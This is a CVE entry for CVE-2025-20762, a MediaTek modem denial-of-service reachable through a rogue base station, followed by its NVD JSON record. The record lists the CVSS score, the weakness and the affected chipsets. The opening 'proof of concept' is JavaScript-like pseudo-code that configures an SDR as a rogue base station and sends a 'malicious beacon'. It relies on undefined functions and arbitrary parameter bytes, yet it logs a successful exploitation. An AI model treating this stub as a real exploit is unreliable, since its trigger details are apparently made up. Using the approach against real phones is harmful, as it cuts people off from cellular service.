CVE-2025-20762

// CVE-2025-20762 PoC - Rogue Base Station Setup for triggering Modem crash // This is a conceptual proof-of-concept for educational purposes only // Prerequisites: SDR hardware (e.g., USRP, HackRF) and relevant software stack // Step 1: Configure SDR device as base station const sdrConfig = { device: 'usrp_b210', frequency: 2100000000, // 2.1 GHz (adjust based on target band) sampleRate: 30720000, gain: 50 }; // Step 2: Broadcast beacon with crafted message to trigger vulnerability function broadcastMaliciousBeacon() { // Craft specific protocol message that triggers incorrect error handling const maliciousMessage = { mcc: 001, mnc: 01, lac: 0xFFFF, ci: 0x1234, // Malformed parameters to trigger error handling path specialParams: [ 0x00, 0xFF, 0xFF, 0x00, 0xAB, 0xCD, 0xEF, 0x00 ] }; transmitBeacon(maliciousMessage); } // Step 3: Monitor for crash indication function monitorTarget() { // When modem crashes, UE will lose connection and attempt re-registration const connectionLost = detectConnectionLoss(); if (connectionLost) { console.log('[+] Modem crash successfully triggered - DoS achieved'); logEvent({ cve: 'CVE-2025-20762', status: 'exploited', timestamp: new Date().toISOString() }); } } // Note: Actual implementation requires deep knowledge of 3GPP protocols // and specialized radio equipment. This PoC is for conceptual understanding only.

{"cve": {"id": "CVE-2025-20762", "sourceIdentifier": "[email protected]", "published": "2026-01-06T02:15:41.807", "lastModified": "2026-02-17T15:16:17.400", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "In Modem, there is a possible system crash due to incorrect error handling. This could lead to remote denial of service, if a UE has connected to a rogue base station controlled by the attacker, with no additional execution privileges needed. User interaction is not needed for exploitation. Patch ID: MOLY01685181; Issue ID: MSV-4760."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-617"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:mediatek:nr17:-:*:*:*:*:*:*:*", "matchCriteriaId": "66F8874B-DBF1-4A67-8ADF-4654AB56B6A8"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6835:-:*:*:*:*:*:*:*", "matchCriteriaId": "19A63103-C708-48EC-B44D-5E465A6B79C5"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6835t:-:*:*:*:*:*:*:*", "matchCriteriaId": "C7FE7DBA-479C-402B-8485-9D14E70F25EB"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6878:-:*:*:*:*:*:*:*", "matchCriteriaId": "855A8046-34ED-4891-ACE5-76AB10AC8D53"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6878m:-:*:*:*:*:*:*:*", "matchCriteriaId": "483B6FB0-D683-4F3C-BA5B-6C9852179854"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6897:-:*:*:*:*:*:*:*", "matchCriteriaId": "2A7D8055-F4B6-41EE-A078-11D56285AB66"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6899:-:*:*:*:*:*:*:*", "matchCriteriaId": "C6E9F80F-9AC9-41E0-BB14-9DB6F14B62CD"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6991:-:*:*:*:*:*:*:*", "matchCriteriaId": "CBBB30DF-E963-4940-B742-F6801F68C3FC"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt8676:-:*:*:*:*:*:*:*", "matchCriteriaId": "EE302F6F-170E-4350-A8F4-65BE0C50CB78"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt8678:-:*:*:*:*:*:*:*", "matchCriteriaId": "152A5F3D-8004-4649-BDB1-E6F0798AF1CB"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt8755:-:*:*:*:*:*:*:*", "matchCriteriaId": "1CF88096-5CBD-4A4B-8F47-33D38985956F"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt8792:-:*:*:*:*:*:*:*", "matchCriteriaId": "336FC69E-E89F-4642-B6B9-8009D9A2BD52"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt8793:-:*:*:*:*:*:*:*", "matchCriteriaId": "2FBD3487-F8CE-406C-8BD7-DD57FF8CD60B"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt8863:-:*:*:*:*:*:*:*", "matchCriteriaId": "77E0D738-F0B9-468F-8A10-204F498320BC"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt8873:-:*:*:*:*:*:*:*", "matchCriteriaId": "D6DD525F-7050-42BD-829D-1121698B8009"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt8883:-:*:*:*:*:*:*:*", "matchCriteriaId": "23DD8281-FEB4-4E23-8DDA-680FF895F12E"}]}]}], "references": [{"url": "https://corp.mediatek.com/product-security-bulletin/January-2026", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}